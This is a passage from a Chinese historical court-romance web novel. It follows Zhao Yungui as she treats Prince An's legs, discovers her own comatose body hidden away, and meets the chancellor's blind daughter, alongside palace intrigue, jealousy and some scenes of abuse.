见她犹豫箫祁政也不恼，他做的一切都是为了能和她在一起啊，所以他一定要听到她的回答，“好吗？”
“好。”
箫祁政满意的拿出一块玉佩递给她，这成色一看就价值不菲，而且上面是海棠花，赵云归并未去接，走近弯腰贴近，“我要你给我戴上。”
“好！”嘴角微微上扬，他的声音里是掩藏不住的笑意，将玉佩挂上，看到她带着自己送到玉佩十分满意。
“我送你回去。”
见她愣住不说话箫祁政便知道她想问什么，“明日让人去接你。”
“好。”
赵云归想去将碎掉的玉佩捡起来，却被箫祁政拉住了，眼见着他的情绪又不对劲了，连忙开口解释，“明日还给他。”
看她不像是撒谎的才松开手。
赵云归蹲下身用手帕将碎成还几块的玉佩包好后便起身走到了箫祁政的身边，“走吧。”
月朗星疏的夜，房间为她留着一盏灯。
推开房门，花芷依旧像往常一样虽然很困却依旧坐在桌边等她，“绾绾。”
“你……”
“怎么了？”花芷走上前便看到她哭的红肿的眼睛，一看就是在外面受了委屈。
“谁欺负你了？”
赵云归走近抱住她，下巴放在她的肩膀上，这一刻她才放松下来，“花芷！”
“我好累了。”如果她站的高一点就好了。
“我究竟要怎么做……”才能不让身边的人因为自己收到伤害啊，“花芷……”
“我在。”一直都在。
她的声音沙哑的厉害，花芷连忙拉着她走到床边，在她身边讲着故事，让她早些休息，次日天刚亮她便起床出去买了些食材和药材给她炖汤。
炖好回房，赵云归早就醒了。
瘫坐在船边，趴着。
花芷还以为她又这样睡着了呢，连忙将手上的东西放在桌上走过去，“绾绾？”
“嗯……”
赵云归的眼神始终看着床榻上那被她重新摆好的玉佩，指尖轻抚着，可总觉得还是缺了那么一点点。
许是太过渺小，便被落下了。
“绾绾，我拿去找人修一下吧，一定可以修好的。”花芷自然是知道她有多珍视这块玉佩的，怎么出去一趟就成这样了。
“没事。”
“不用修了。”就算修好了又能怎么样呢。
修好了也还是会有裂痕的，在她决定接近箫祁政的那一刻起，所有的一切便注定了，她已经没有回头路了。
也不会回头的。
30.我看见了我自己
将玉佩重新包好便跟着花芷走到桌边坐下，热汤下肚，是熟悉的味道。
“啪。”
“啪！”
碗里的混着泪水的汤一滴不剩。
抬起头后靠在了花芷的肩膀上，她的手轻抚着赵云归的头，非常的有耐心，“要是想说了就告诉我。”
“我一直都在。”
“花芷！”泪水伴随着抽泣声止不住的落下。
过了好久好久，就到再也哭不出来，久到哭的睡着了，花芷给她盖好被子后去打了盆热水，用毛巾给她敷眼睛。
很轻很轻。
“咚咚咚。”敲门声响起，花芷连忙起身出去了，小秋告知安王府来人了。
“就说云归她不舒服，休息了。”
“可安王在外面。”她去说恐怕不太合适。
看了一眼身后的房间，刚好有些事情要问，便跟着小秋往外走，箫祁政就在大门口等着，她便上前替赵云归拒了他的邀约。
“安王殿下。”
箫祁政被人往外推去的一瞬花芷叫住了他，犹豫片刻还是开了口，“殿下要娶丞相嫡女？”
“那云归又当如何？”
“不会。”虽不知她是如何知道丞相想将他的女儿许配给他的，但他并未同意。
可，“殿下需要丞相的支持不是吗？”
这事的确事实，箫祁政便没有回答，花芷自然知道丞相之女不会为妾，可，“殿下也想要将军府的支持对吗？”
这是两边都想讨好啊！
人家娶谁她不该管，可丞相府的人都已经找上门来了，“若是王爷不说我也会告诉云归的。”
“所以呢，你又能做什么？”
“殿下可以试试。”花芷对他的印象又坏了一些，又说了几句便回去了。
赵云归睡的正熟她便坐在旁边守着。
次日，等她睡醒感觉心情好了不少，等花芷端着吃食进来时便将宴会上的事告诉了她，花芷也是今日才知道那栀子花玉佩是丘竹送她的。
“绾绾，喜欢他是吗？”
“怎么可能！”赵云归没想到她会有这样的想法，连忙摇头否认。
见她这般急着否认花芷也只当自己是想多了，只是，“安王是如何知道你的身份的？”
“绾绾！”一些恐怖的想法不自觉在脑海中成型，心中自是不敢相信的，却不得不相信，“这件事绝对不会是巧合这么简单的。”
“你要小心！”
这肯定是有人蓄意为知，至于目的为何就不得而知了，两人脑海中同时想到了一个人，“我并不觉得这事是人为能做到的。”
不过，“这些都已经不重要了。”
她想要那些人得到应有的报复，就必须从箫祁政身上下手。
毕竟，景王懦弱，若是在他身上下功夫根本得不到那个结果，而箫祁政的腿也是受他们暗算，他们有一样的目标。
所以，她一开始接近箫祁政就是为了治好他的腿，用鬼信无常的身份也是为了后面好接近他，哪怕这一切都跟她所预估的产生了巨大的偏差也无所谓了，她的目的已经达到了。
“我动不了他们便将这水搅浑。”
“我要看着他们自相残杀。”
“咚咚咚！”不用想都知道是箫祁政派人来接她了，又嘱咐了几句，让花芷别插手这些事便收拾一下离开了。
下了马车那人便让赵云归自己进去了，慕珂在里面等着她，一路上无言，等到了一个院子外才停下脚步，“我就在外面等着。”
“好。”
“我……尽快。”
不知该怀着怎样的心情走进，许是未曾想到这个院子会住人，里面的积雪便没清扫往里走时不小心弄湿了鞋袜。
“姑娘请进。”
赵云归本还站着门口不敢敲门，可她忘了丘竹的听力本身就好，如今又……轻叹一声推门走进，“坐吧。”
“好。”他的声音还是那样温柔，却多了些伤感，如今坐到他身边才发现他已生了些许白发，声音不自觉的哽咽。
“姑娘见过我？”
“未曾。”
丘竹摸索着给她倒了水，“那为何姑娘见到我却变得伤感了？”
赵云归胡乱擦拭着脸上的泪水，下意识的笑着摇头，却忘记了他看不见了，“公子让我想起一位故人。”
“故人已逝，难免伤怀。”
“活着的总是要向前看的。”说这话时丘竹却低下了头。
赵云归将叠好手帕拿出，放在丘竹面前，抬起他那伤痕累累的手摩挲着打开，眼泪又不自觉滑落了。
许是太过熟悉拿起那半块的时候便认出来了，重新包好收起，“原来是清音的友人。”
感受到丘竹话语见到欣喜赵云归并不想让她失望，但是他不能留在京城，“公子，你走吧。”
“去哪儿都行，离这儿越远越好。”
听到这话丘竹的嘴角勉强挤出一丝苦笑，轻轻摇了摇头，他来这里有他自己的目的，又怎么会轻易离开，“是清音让姑娘来当说客的？”
也……算是吧。
“公子不是说活着的人应当往前看吗？”
他一直都是向前看到，况且，“她还活着。”就算是再也醒不过来了他也想留在谷清音身边，直到生命最后一刻。
“她死了！”赵云归的情绪稍微有些激动，她不知道箫祁政给丘竹说了些什么才让他心甘情愿的留下，可是，“她早就死了！”
丘竹不知道她为何会如此，情绪却依旧稳定，可赵云归如此说他还是有些生气的，“姑娘无需骗我，我刚刚见过清音了。”
再怎么也不能咒人啊！
“姑娘还是请回吧。”
明显看出丘竹有些生气了，赵云归也不好再留下说什么了，“打扰了。”
慕珂在她出来时便看到了她湿掉的裙摆，只好先带着她去换了衣裳和鞋袜才同去箫祁政的院子，赵云归进去是他正坐在书案前看什么东西，看的入迷。
“王爷。”
见他在忙便走到她身边坐下，静静打量着他的脸，可始终没有在记忆中找到一丝痕迹来。
“怎么了？”这么被她盯着看手中的东西也看不进去了，放下转动轮椅，正好看见看见了她腰间挂着的玉佩和香囊，心情瞬间好了。
只是，“怎么？不怕损坏了？”
赵云归笑着摇了摇头，起身走到他身边蹲下，握住他的手。
抬头。
目光温柔，笑意如春风拂面，“那王爷会送我新的吗？”
“当然。”
“阿音想要多少我就送多少。”他的眼中是无尽的温柔
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与爱意，说完温热手抚上她的脸颊。
脸上的伤几乎看不见了，便没有带面纱了。
垂下眼眸，手轻轻搭在他的腿上，语气是那样的平静，“我给你治腿吧。”
“好。”
“我们先去个地方。”
箫祁政让赵云归推着他出去，顺着他指的方向又回来丘竹现在住的院子，不过两人进去时里面的积雪已经被清扫干净了。
“来这干嘛？”她的声音听上去没有什么情绪波动，可她握着轮椅的手却不自觉的加重了，心中没由来的担心，怕箫祁政对丘竹做些什么。
“等会儿就知道了。”
两人进来半天也不见丘竹的声音赵云归便猜出丘竹不在屋子里了，直到来到一个原本一个被假山挡住的洞前，她心中的慌乱更重了。
“我一个人去吗？”总感觉靠近这里就心慌的厉害，但箫祁政也不至于在这儿就对她做些什么不好的事来。
“嗯，去吧。”
“好。”
松开手，自然垂下，泛红的掌心被衣裳挡住并没让人发现什么不对，提着长裙踏上那往下的石梯每一步都沉重无比。
没走多远便看到了丘竹的身影。
本来还怀疑是箫祁政将他关在了这里，直到看到床榻上的身影，惊讶的捂住嘴。
“怎么会！”
果然，她之前猜的没错，谷清音的身体就躺在那里，既然丘竹说她还活着就说明云归的灵魂正躺下那具身体里面。
那就一定有办法换回来。
压制住内心的欢喜走上前，丘竹虽听到了声音却已经坐在床边，拉着她的手。
“公子，可以让我和谷姐姐待会尔吗？”
“就一会儿。”
丘竹点了点头便松开了，许是怕她做什么对谷清音不利的事，就默默站在旁边守着。
赵云归在床边坐下，看着床榻上脸色苍白，嘴唇也几乎没有血色的人，像是一碰就会破碎的瓷娃娃。
她也是第一次这样看到自己的脸。
把脉。
检查伤口。
这脉搏也太弱了，脑海不自觉浮现出齐卫那一剑。
那一剑伤了心脉，估计是他找的人都救不了她便用名贵的药材吊着她的性命，如今也是几乎快要到了快无力回天的地步了。
想到这儿，赵云归搭在心口的手不自觉收紧，难道，“你连这一步也是你算好了的吗？”
尽管赵云归压低了声音丘竹还是听到了，可他不懂其中的意思，“姑娘，你说什么？”
“无事。”
“先告辞了。”起身离开这里，站在石头上回头看着里面的两人心中只觉一阵刺痛。
不敢多做停留，出去后赵云归的情绪看上去也没什么不对劲的，也没有问箫祁政当初为何骗她，只是，“我可以把她带走吗？”
“不行，太危险了。”
赵云归知道若是被肖暮云她们发现了定会再次下手的，所以，必须抢在他们发现前治好箫祁政的腿才行，这样才能打他们个措手不及。
“好，听你的。”
如今赵云归只想快些把箫祁政的腿治好，“那我们走吧。”
两人出去时慕珂已经等着了，他准备了两辆马车，等两人一起上去后又叫了两人便朝着熟悉的方向驶去了。
31.他带回来一个女人
“到了。”
赵云归将他们带到外面租的宅院却从慕珂口中得知这儿早已被买下了，见赵云归停下脚步不说话箫祁政的心都悬起来了，“其实……”
正担心她会不会不开心，就见她突然拍了一下手，打断了他的话，“那我可不交租金了。”
“当然。”没想到她的关注点这么偏。
让慕珂带箫祁政先找个地方坐着，她便带着剩下的两人离开了，给他们布置了任务就想着去找一下海棠。
“姑娘，你终于来了！”刚推门进去海棠就迎了过来，十分亲昵的挽着她的手。
说明来意后海棠便陪着她去准备了。
让人将烧好的热水倒进木盆了，赵云归倒入了熬好的药还放了些药材，便让人将脱了衣服的箫祁政放进那黑水中了。
等了许久，箫祁政暴露在外的皮肤全是细汗，赵云归看着时间差不多了这才叫人将他抬出来放到床上。
等她进来时箫祁政就直挺挺的躺在床榻上。
“啊！”赵云归吓得转身捂住了眼睛。
不是，“你就让他们把你这样放着？”
箫祁政看向自己□□的身体，却是有些不太好意思，可，“不是你让他们做的？”
“我？”
冤枉啊！赵云归捂着眼睛一步一步朝床边挪去，拿着长毛巾让他把中间盖住才敢睁开，又去取了一个针灸袋过来。
实在无聊，箫祁政便一直盯着她的动作。
扎好后又出去了一趟，端着一碗药走了进来，还没走近那难闻的味道就先窜了过去，箫祁政的眉头皱了起来，都怀疑她在故意报复了。
看着放在一边的碗，又看了看一旁站着的赵云归，不敢相信，“你不喂我？”
才不，“你又不是小孩子了，自己喝。”
箫祁政也只能接受这个事实，伸出手想让赵云归拉他坐起来，赵云归看懂他的意思便走进将他扶起可就在他坐起的一瞬间，毛巾全盖到了他的腿上。
“啊！”
“哈，咳！”
“你…慢慢喝，不够还有。”尴尬的扯了扯嘴角，捂着眼睛就跑了出去。
慕珂提着东西回来时看到的便是她这副模样，看向四周，这也没人啊，“你这是怎么了？”
“怎么……我怎么……我没事啊。”
赵云归的表情看上去还是有些心虚，不过这也跟她没关系，两人去将吃食热了一遍，摆好才来叫箫祁政去。
他的那两个侍卫觉得在一起吃饭太尴尬了，老早就端着碗出去蹲在门口了，一左一右跟门神似的。
坐下时也不见慕珂的身影，就剩这俩人面面相觑了。
吃完东西便收拾了些药材和工具回王府去了，给暗室里的人重新把脉配药，可有些药材过于名贵只能让慕珂去现找了。
夜色朦胧，明月高挂，等赵云归回到赵府时府中的人都休息了。
推门进去时就见花芷好像在藏些什么。
“花芷？”
“绾绾！你回来了！”花芷走来时手上并拿没有什么东西，赵云归便也没多问，在她的追问下跟她说了今日所见之事。
“什么！”
“你说是……安王把你的身体藏起来了？”花芷差点叫了出来，想到这事不能让人听了去尽可能的压低了声音，“他这是想干嘛？”
赵云归摇了摇头，这些事都太乱了根本没办法连到一起去分析。
“许是有什么谋划吧。”
最重要的是，京城太过危险可丘竹他却不肯离开，只要她每想到丘竹被剜掉的双眸便感觉心中一阵刺痛。
他本就喜欢到各处云游，可最后他却因为找她而落入陷阱，被羞辱。
如果，“我若是还能回到自己的身体。”
若是真的还有机会的话，“把我的眼睛给师傅吧，他不应该因为看不见而被困在这四方天地。”
这件事只有交给花芷才放心。
可是，“把眼睛给他了你怎么办。”这可不是什么小事，花芷自是不愿意的，“绾绾，他……真的只是师傅吗？”
她怎么能一点犹豫都没有就做出决定，若是没有其它感情花芷可是不相信的。
“你想什么呢？”赵云归无奈的戳了戳她的额头，不知道她的脑袋到底装了些什么，“师傅只能是师傅。”
“好。”
凡事只要她开了口，花芷都不会拒绝，“我会帮你的。”
毕竟这是她自己的事花芷也不好再说什么，忽然想起来了一件事，“对了！”
“景王回来了。”
箫轻尘回来了？宴会那日他便回来了，只是赵云归当日并未看到，也没听人说过，这事本就与她们没关系，她也就当个趣事儿去听了。
他回来时带回来了一个人，主要的是，“还是一个女人。”
听了花芷的话赵云归便在心中默默规划着了。
次日清晨，肖念安一早就被肖暮云的人接进了宫，等她到是就见一个被蒙着头绑着手的人挣扎着被带了进来。
“你们是谁？”
“放开我！”
肖念安根本不知道到底是发生什么事了，看到这般场景更是不解，“姑姑，这是？”
“嘘。”食指贴近嘴唇示意她不要说话，又看了一眼押着那人进来的人，用力的踢向她的腿，扑通一声那人就重重的的摔到了地上，“啊！”
“你们知道我是谁的人吗？”
“放开我！”挣扎中头上的东西掉了下来，便看到了周围熟悉的场景，她又回到了从前那个噩梦般的地方了，“太后！”
身后的人松开绑住她的绳索，莲心没了束缚便连滚带爬的到肖暮云的脚边跪好，脸上全是惊恐，不敢再开口。
“哼。”肖暮云弯着手臂撑在桌子上，指尖轻轻贴着太阳穴，斜眼睨着她，“莲心啊。”
见她垂着头肖暮云勾起嘴角，抬脚踩住莲心的肩膀，满是不屑，“给哀家好好说道说道，你到底是谁的人啊？”
“奴婢……奴婢自然是…太后的人。”
“嗯…还记得就好。”
话语间刚刚那人就端着一杯水走了进来，只见那瓷杯还冒着热气呢，“赏你的。”
“谢太后。”
莲心往后退了些才抬手接过，手心的皮肤瞬间被烫的通红，颤抖个不止却还在极力控制着，眼睛也死死的盯着生怕它掉了。
“姑姑？”
“念安啊，我知道你心善。”说着她有些无奈的摇了摇头，“可你得擦亮眼睛啊。”
有些人犯了错终究是不值得去求情的。
“念安明白了。”
肖暮云点了点头拿起桌上的竹签随便插了一颗葡萄，举起，“这个，赏她了。”
“是。”
旁边的人接过葡萄扔到了莲心手上的杯子里，滚烫的水溅出在她好不容易养好的皮肤
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上留下一个个红痕，“嘶。”
“太后赏的还不快吃了。”
“是。”
不知是疼的还是委屈的，泪水滴落，腾出一只手伸进杯中拿出里面的葡萄放在嘴里，汁水在口中爆开，“多谢太后。”
“唉。”轻叹一声，终是不忍，只是，“莲心啊，你得知道，我当初留你一命可不是让你去勾搭景王的。”
听到这话肖念安心中一惊，难道她就是……
“人啊，得摆清自己的位置。”
“是，奴婢谨记。”
“行了，放下吧。”说着等她再看向肖暮云时，明显可以感觉到她的不对劲，“走吧，陪我到外面坐一会儿。”
“那她？”难道就这样放过她了吗？
肖暮云自然知道她心中的顾虑，可是，“她就在我身边量她也做不了什么，放心。”
“念安明白了。”肖念安心中虽说不满却不能让她看出什么来，起身走到肖暮云身边将她扶起，“姑姑。”
往外走时肖念安使了个眼色，青黛瞬间明白，走到莲心旁边时伸脚踢翻了她面前的水。
顾不得被打湿的衣裳，莲心俯下身。
“恭送太后。”
走在外面，肖暮云自然能察觉出身边人情绪的变化，轻轻拍了拍她挽住自己的手，“念安啊。”
“你千万不要怪姑姑。”
“怎么会，姑姑严重了。”肖念安在她面前依旧是那样的善解人意，况且一个奴婢而已威胁不到她，自然不能因此生了嫌隙。
“唉！”肖暮云是真心觉得莲心可怜，而且，“这事确实是你父亲的手笔。”
莲心也确实误打误撞救了箫轻尘，而且他失忆确实是谁都料想不到的，再怎么也怪不到莲心的身上，“你们以后好好的比什么都强。”
“姑姑放心吧。”
“他待我还是极好的。”
又聊了许久，肖念安才想起还有人在等着，她又给青黛使了个眼色，眼瞅着时间差不多了又对着肖暮云说着，“纪绍跟了我许多年，念安便想着让他日后给姑姑解解乏。”
见肖暮云迟意肖念安又说了许多，“姑姑定然看得上的。”
话语间，肖念安口中的少年郎便跟在青黛身后走了过来，纪绍衣着简单，眼神温和深邃，举止优雅话语间流露出的是文雅的书生气，确实深得肖暮云的心。
“念安真是有心了。”
见肖暮云满意她的脸上也挂上了笑容，“以后可得好生伺候太后。”
“是，纪绍明白。”
人也送到了肖念安也该回去了。
回去的路上青黛见她如此神色心中自然也为她不平，“小姐，难道当真就这样放过她了吗？”
“急什么。”她不会真以为有了肖暮云的庇护就能活下来吧。
“哼。”
只要她在宫中，“她……”就再也，“逃不掉了。”
而且如今是肖暮云下令带走的莲心，她必须得等，等一个合适的契机，在这之前可千万不能让箫轻尘知道她的心思了。
“小姐。”
“是景王殿下！”
青黛放下帘子的瞬间，马车也停下了，肖权不让箫轻尘进去，他便只好在外面等着了。
“宫中的事不许提起。”
“是。”
两人下了马车箫轻尘就迎了上来，看他脸上焦急的神色肖念安也明白他的来意了。
32.他早已不是我的少年郎
“阿念！”箫轻尘见到马车停下立马就迎了过去，看着他伸出的手肖念安愣了一瞬，将手搭在他的手腕处，扶着走了下去。
“怎的站在外面？”
“天气严寒在府中等着便好？”起风了，这刺骨的凉风吹的人头疼，准备拉着箫轻尘一起进去，可他却站在原地不动，看上去有些心虚。
“怎么了？”
“肖太尉他……将我赶出来了。”所以他才顶着寒风站在门口等着她回来的。
现在再厚着脸皮进去着实有些不太合适。
箫轻尘与肖权的关系她心中清楚的很，今日他竟愿放下身段过来定是有急事，只是，“父亲不是不讲理的人。”
“你同父亲讲了什么？”
说着肖念安将青黛递来的暖手炉塞到箫轻尘冻的发抖手中，等着他的话。
“我……”箫轻尘低下头，不知该如何开口。
见他们一时间许是不会进去了，青黛便先一步进去取了一个件厚披风给肖念安披上了，“要到马车里坐着吗？”
肖念安扯了扯外披，将自己包裹的更严实了些冲着青黛摇了摇头。
箫轻尘也终于是下定了决心开口了，“念安，阿然被太后抓走了，你……你能不能……替我去求求情？”
“将她带出来？”
“阿然？”肖念安心头一震，藏在外披中的手紧了紧，强忍着不适开口，“你是不是误会了，我今日进宫从未听过这事啊。”
“不是。”箫轻尘有些激动，看着肖念安往后退了一步便伸手抓住了她的手臂，“她……她从前叫莲心。”
“莲心吗？”
这个名字从箫轻尘口中说出的瞬间肖念安的脑海中浮现出今日看到的莲心腰间的福袋，再次看向他搭在手臂上的手肖念安的眼中闪过一丝不易察觉的厌恶，只是一瞬又恢复如初，“可你信中说过……阿然是男子的。”
宫宴见面时他也从未提起阿然是女子。
肖念安看着他的眼睛，想听听他想如何解释。
“我那样说也只是怕你误会。”
就……没了？肖念安的眉头不自觉皱起，“怎的如今不怕我误会了呢？”
她看向箫轻尘的每一秒都在诉说她的不甘，他又怎么会听不出肖念安语气中的不对劲，可莲心曾跟他说过肖暮云对她有多不好，再多浪费一刻她都会有危险，所以，“念安，你知道的，阿然是我的救命恩人。”
救命恩人？
所以呢？
肖念安轻笑一声，也对，他早就忘了过去的一切，是她不该抱有任何幻想的。
“好，我帮你。”肖念安不想再听他继续说下去了，便答应下来了，只是，“为什么我为你求的平安符会在她身上？”
“那么多我也戴不了啊。”
“你知道的，阿然她身体不好，所以……”
“好了，我知道了，你别说了。”肖念安伸出手的一瞬青黛连忙上前扶住了她。
箫轻尘也下意识伸手想要扶住她却被避开了，再次看去肖念安的已然红了眼，竟不知这些年为他求平安在箫轻尘心中是……多余的。
“念安？”
“你怎么了？”
肖念安深吸一口气，尽可能的稳住身形，“我会去求父亲的。”至于能不能成便不关她的事了。
“天寒地冻……你……也早些回去吧。”说着她抬手扯开了披风上的绳子，没了束缚厚重的披风重重的砸在雪中，不再多言抬步离开。
“小姐。”
青黛扶着她坐下，又去拿了个暖手炉跪在旁边放在她手中，取出手帕轻轻擦拭着她脸上的泪珠。
“别哭伤了身子，不值得。”
不值得？因为箫轻尘的一句承诺她等了整整八年。
八年啊！
真的是不值得的吗？
可过去的那些记忆却越来越深了，深到每一个画面都揪着她的心，深到就算箫轻尘回来第一次主动找她是为了别的女人也还想着为他辩解，“让我一个人待会儿。”
“告诉父亲…我……”如今这个样子晚些去也是不合适的，“明日再去找他。”
“是。”
又过了许久，没想到今日外头竟多了些金黄，冬日的阳光穿过云层洒在雪地里，如同落了一地彩色的宝石，耀眼。
泡完药浴施完针后两人坐在桌前，箫祁政拿起桌上的筷子为赵云归夹着菜，“我做什么阿音都会帮我的，对吗？”
“当然。”
见她没有一丝犹豫箫祁政悬着的一颗心终于落地。
沈溢之从先皇在位之时就看好箫祁政，如今知道他能治好腿后便想要将她的女儿许配给他，若是他同意的话便要同赵云归解除婚约，他自是不愿意的。
赵云归点了点头继续夹着菜，看上去倒没有太大的反应，“需要我做什么？”
“今日陪我走一趟吧。”
沈溢之是死了心的想要将自己的女儿嫁给他，所以只能从她的女儿身上下手了，赵云归点了点头明白是想让她去说服沈明昭。
“好。”
只是她不明白沈溢之为何一定要让自己的女儿嫁给箫祁政，难道是早就心生爱慕吗？
这一切都只有见到沈明昭才能知道答案。
两人用完膳后便上了车，没多久便到了丞相府外，刚下马车就听到了里面的争吵声。
“逆子！”
“你站住！”
沈溢之手中拿着沾着盐水的竹条追在沈静安身后，气的脸都憋红了。
“爹！”
她也没料到沈静安会回头跪在他身前，手中的竹条直直的就抽到了他的脸上，本就娇嫩的皮肤瞬间浮现出一条红痕。
“你……”沈溢之的手微颤着，粗重的呼吸让他说不出话，手中的竹条砸到他的身上，转身时那青楼女子早已不见了踪影。
气的沈溢之一脚踹到沈静安身上，“你以后要是再敢带那种人回来看我怎么收拾你。”
“滚。”
沈静安不敢说话低着头起身往里面走去。
外面的人听到里面没了动静这才抬步走进，“沈相。”
“这？”沈溢之眯着眼看向赵云归，本以为箫祁政执意不退婚是因为他的未婚妻是什么绝世之姿呢，如今看来，“也不过尔尔。”
想到刚刚慌张跑出去的女子，又看他如今的样子定是受了气的，赵云归并不想与他争辩，便拍了拍箫祁政的肩膀，俯身贴近，“别忘了正事。”
箫祁政这才压下心中的怒气开口。
沈溢之自然不会阻拦什么，“来人，带她去见明昭。”
“多谢。”
跟在侍女身后往里面走去，也不知拐了多少个弯了，想着应该快到了，迎面面撞到了往外走的沈静安。
“少爷。”侍女朝他行礼赵云归便也往旁边挪了挪，谁能想到沈静安竟停在了她身前。
抬
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眸对上他的眼神，见他抬手不知他是想要做些什么，下意识的往后退了一步避开，“公子有何事？”
“你是谁？”
“不会是父亲给我找的媳妇吧。”
沈静安的言语轻浮，打量的眼神也让她浑身不适，抬步想要离开。
“别跑啊。”
谁想他竟直接伸手捉住了她，任赵云归如何也抽不出来，旁边的侍女不知何时已经跑了，留他二人在原地。
赵云归也不挣扎了，抬头看着他，“公子还是快些去上药吧，不然可娶不到媳妇了。”
“所以……小媳妇要给我上药吗？”说着他俯身靠近了些，另一只手也不安分的搂着赵云归的腰。
“哼。”赵云归微低下头轻笑一声，另一只手捉住他的手腕，用力的瞬间沈静安才松开她的手，赵云归看着他始终带笑，像是根本没有用力一样，“好啊。”
话语落地，赵云归抬脚将他踹翻到地。
谁想沈静安竟一点都不生气，双手撑着地，痴笑着看着她，“你这性子，我是真喜欢啊。”
“不如让父亲今日便上门提亲吧。”
“公子请便。”说着她就头也不回的离开了这里，顺着侍女刚刚离开的方向走去。
听着身后的脚步声赵云归便知是沈静安跟了上来，她加快脚步身后的脚步声也跟着加快，放慢脚步身后的脚步声也跟着变慢，不知他究竟是想要做什么。
“公子跟着我做什么？”
“姑娘这话真有意思，我在自家府中散步怎么能是跟着你呢？”
“哦——”赵云归装作一副恍然大悟的样子，很是懊恼，“倒是我挡住公子的路了。”
“怪我。”
赵云归往旁边让开看着他接下来的动作。
沈静安愣了一瞬，竟伸手抵住赵云归身后的木桩，虽保持了些距离赵云归却还是不悦的皱起了眉头。
见她不说话沈静安便了开口，“与他退婚嫁与我吧。”
“哼。”原来，“你知道我是谁啊。”
“自然，仰慕已久。”
“是吗？”真的是仰慕已久吗？更像是想要说服她退婚好让沈明昭与箫祁政订婚吧。
“只要结局是我们想要的不就行了。”
“说的对。”赵云归将他推开，抬手就朝他的脸扇去，原本被竹条抽了就火辣辣的疼，如今更疼了。
“你！”
“我？我什么我？”赵云归也不愿再与他演下去了，不知他究竟出于何原因，是为了让沈溢之改变对他的看法还是为了沈明昭，都不该如此。
若他还是个男人，就应当，“去与安王殿下说道啊！”
“在此为难我一个弱女子作甚？”
这门亲事本就非她主动要求，一切都是箫祁政所求，现如今知道他的腿有机会治好倒是都跑来为难她了。
有事去找箫祁政，“别再来烦我了。”
将沈静安又推远了些赵云归才抬步离开，他也未曾再跟上了，正好看到不远处的熟悉的脸庞。
那个侍女站在那儿，沈明昭可能也在那边。
赵云归加快脚步走近，那侍女却始终低着头不敢看她，“姑娘来了。”
她也是受命行事，睨了她一眼也不打算为难她什么，抬步走近院子。
“是谁来了？”
沈明昭听到外面的动静起身时，赵云归也看到了她的面容。
竟然是她！
33.生来便未见过这世间繁华
“是谁在那边？”沈明昭扶着石桌起身，旁边的侍女见状连忙上前将她扶住。
她的声音轻柔，微弱的阳光落在她乌黑的发丝上，比上次匆匆一眼更显神性，她的长相绝美可赵云归的视线却始终停留在她那无神的双眸。
如今看来她是真的看不见。
侍女扶着她重新坐下在她耳边说了些什么她的嘴角才带上些笑意，“原来是云归啊。”
“怎么不走近些说话？”沈明昭伸出手想要抓住些什么，赵云归只好走近拉住她的手坐下。
“你怎么今日才来？”当初赵云归可是拉着她的手说等她回来第一个来见沈明昭的，“难道是过去太久已经将我忘了？”
“我……”她并不在两人之前的关系，一时间不知如何作答，便只好搪塞过去。
“有些事耽误了。”
“原来是耽误了吗？”沈明昭自是明白她今日的来意，抬手缓缓抚上她的脸庞，笑容依旧温柔，眼含笑意好像能看到她一般，“我……我们云归真的长大了。”
不再是跟着她乱跑的小姑娘了。
她的视线始终落在沈明昭的脸上，挪不开，只想静静听着她说话。
只是一瞬沈明昭的眸中便蓄满了泪水，手收回的瞬间泪水滑落，纤长的手指拂过，带走泪珠离她稍微远了些。
“有话便说吧。”
“虽许久未见你我倒也无需这般生分。”
赵云归不知飞去何处的思绪被拉回，差点忘了正事儿了，思索一瞬才开口，“沈小姐倾慕安王殿下吗？”
“倾慕！”
“安王？”听到这话沈明昭搭在腿上的手不自觉用力，身体的刺痛让她保持这镇定，“不。”
“我……”早已有了心上人。
只是沈溢之他虽位高权重却早已力不从心，如今的身体状况他再清楚不过，沈溢之只想在此之前找一个信任的人将沈明昭托付给他。
他虽有好几个孩子，可那些人早利欲熏心，又怎么会在他不在之时好好对待沈明昭呢，沈静安虽与她一同长大，感情自然是最深的，可自从那件事后便性情大变，沈溢之又怎么能发放心啊。
所以最合适的人选便是箫祁政了。
“可……”
赵云归也不知道该如何开口去说服她打消这个念头了，长久的沉默之后沈明昭才开口。
“放心。”
“我是不会嫁给安王的。”因为她……
而且，“我不想做任何人的笼中雀。”不想余生被困在那四方红墙之内，同其他女人为了一个男人争风吃醋。
“我虽生来便看不见，却仍向往自由。”想去看看这世间繁华景象。
只是她还未曾同沈溢之将过她的想法便被困住了，他们是父女啊，沈溢之自是知道她不愿，所以便不让她离开这院子，她也一直在找机会劝沈溢之放弃。
她知道沈溢之也只是一时昏了头才做出这个糊涂的决定的，沈明昭只想找一个清净的地方呆着，找一个她们都知道的地方等一个人，“云归去过灵谷寺吗？”
“我听说那里有一片海棠花树林。”很美很美，只是可惜她看不见。
“是。”赵云归下意识的点了点头，回想着她口中的地方，她曾和云归去过，只是路途颠簸遥远去的人少之又少，不过，“那里的确是一个清净的地方。”
那，“到那时云归会去看我的，对吗？”
“嗯。”
听到她这简短的回答，沈明昭只觉心中五味杂陈，嘴角无奈勾起，“好，那我等你。”
“嗯。”
“好了，回去吧，别让他等久了。”说完沈明昭起身让旁边的扶着她回来房间。
“沈小姐！”
沈明昭停下脚步却没有回头。
“有一个人能治好你的眼睛，若是……若是见到她了，我便去找你。”
这些年沈溢之为她寻了许多名医也治不好她的眼睛，她早已不抱任何期待了，或许也是让她有个盼头吧，可在她心中这也不过赵云归找的一个借口罢了，
“好。”沈明昭的声音很小很小，也是希望她没有听见吧。
关上门。
又是一个人在房中坐了许久，等赵云归走后便有人端着火盆走了进来。
“不用守着了，下去吧。”
等人离开后沈明昭直奔一个方向走去，许是走了千百遍早就已经有了记忆。
将藏的隐秘的一个匣子取出抱在怀中。
坐在火盆边，愣了神。
屋子里的温度在慢慢上升她也缓过了神，解开斗篷放在一旁，指尖轻轻拂过腿上已经有些旧了的匣子。
“你究竟在哪里啊？”
打开后，一封封书信整整齐齐的摆放着，指尖轻轻搭在上面，随意取了一封伸出手感受到炭火的温度犹豫着松开了手。
信封掉进火盆里，燃烧着，“为什么不来找我呢。”
“连你也嫌弃我是个瞎子了吗？”
一封又一封信化作灰烬，火焰也越烧越高，许是烟雾变多她也被熏的红了眼，泪水滑落她却顾及不上，将匣子里剩下的信全部倒进，连同着匣子一同丢了进去。
“哼嗯——”抽泣着起身，踉跄着跑出去。
“咳咳。”
“小姐。”外面的人看到这架势连忙上前扶住了她，想要叫人将火灭掉却被制止了，“他们……离开了吗？”
